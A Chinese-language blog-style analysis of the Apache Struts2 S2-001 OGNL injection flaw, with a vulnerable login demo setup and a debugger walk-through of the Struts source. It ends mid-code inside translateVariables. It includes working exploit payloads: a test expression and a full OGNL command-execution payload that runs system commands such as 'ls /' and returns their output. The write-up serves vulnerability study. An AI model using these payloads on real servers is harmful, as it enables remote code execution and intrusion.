前言
最近學習java安全,在分析s2-001的時候發現了一些問題和心得。
一方面網上關於s2-001的漏洞分析很少,基本上都是poc+利用而已。
另一方面在調試過程中感覺apache官方通告有不准確的地方,這點見后面的一點說明
部分。
有不准確的地方望各位師傅指出,謝謝。
漏洞信息
漏洞信息頁面: https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:Remote code exploit on form validation error
漏洞影響:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
環境搭建
源碼結構:
幾個主要文件(待會用到):
index.jsp
<html>
<head> <title>用戶登錄</title> </head> <body> <h1>用戶登錄</h1> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.test.LoginAction"> <result name="success">/success.jsp</result> <result name="error">/index.jsp</result> </action> </package> </struts>
web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app>
完整源碼見附件。
漏洞利用
最簡單poc:
%{1+1}
任意命令執行:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
將new java.lang.String[]{"pwd"})
中的pwd
替換為對應的命令,即可執行。
如:打開根目錄 :
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","/"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞分析
在經過tomcat容器的處理后,http請求會到達struts2,從這里開始調試吧。
在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:158 接受我們輸入的參數值,之后會調用對應的set方法(這個省略):
ValueStack stack = ac.getValueStack(); setParameters(action, stack, parameters); } finally {
繼續執行,執行完interceptor部分,也即對return invocation.invoke();
進行step over,到達/com/opensymphony/xwork2/DefaultActionInvocation.java:252
跟進executeResult()
,到達 /com/opensymphony/xwork2/DefaultActionInvocation.java:343
跟進result.execute(this)
,到達 /org/apache/struts2/dispatcher/StrutsResultSupport.java:175:
此后在dispatcher.forward(request, response);
跟進,此處省略一些過程,相關調用棧如下:
進入 /org/apache/struts2/views/jsp/ComponentTagSupport.java:47,
這里會對jsp標簽進行解析,但這時的標簽並不包含我們的payload,我們可以在這里step over,直到解析到對應的標簽:
如上圖,我們提交的password值為%{1+1}
,因此着重關注對<s:textfield name="password" label="password" />
解析。回到doStartTag
,執行完后會再次回到index.jsp
,此時遇到了相應的閉合標簽/>
,會跳轉到doEndTag
:
public int doEndTag() throws JspException { component.end(pageContext.getOut(), getBody()); component = null; return EVAL_PAGE; }
跟進component.end()
,到達 /org/apache/struts2/components/UIBean.java:486:
跟入evaluateParams
后一直執行到如下圖
由於開啟了altSyntax
,expr變為為%{password}
跟入addParameter("nameValue", findValue(expr, valueClazz));
中的findValue
,來到 /org/apache/struts2/components/Component.java:318
protected Object findValue(String expr, Class toType) { if (altSyntax() && toType == String.class) { return TextParseUtil.translateVariables('%', expr, stack); }
開啟了altSyntax
且toType
為class.java.lang.string
,跟入TextParseUtil.translateVariables
,在/com/opensymphony/xwork2/util/TextParseUtil.java:
public static String translateVariables(char open, String expression, ValueStack stack) { return translateVariables(open, expression, stack, String.class, null).toString(); }
繼續跟入translateVariables
,源碼如下:
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; while (true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result +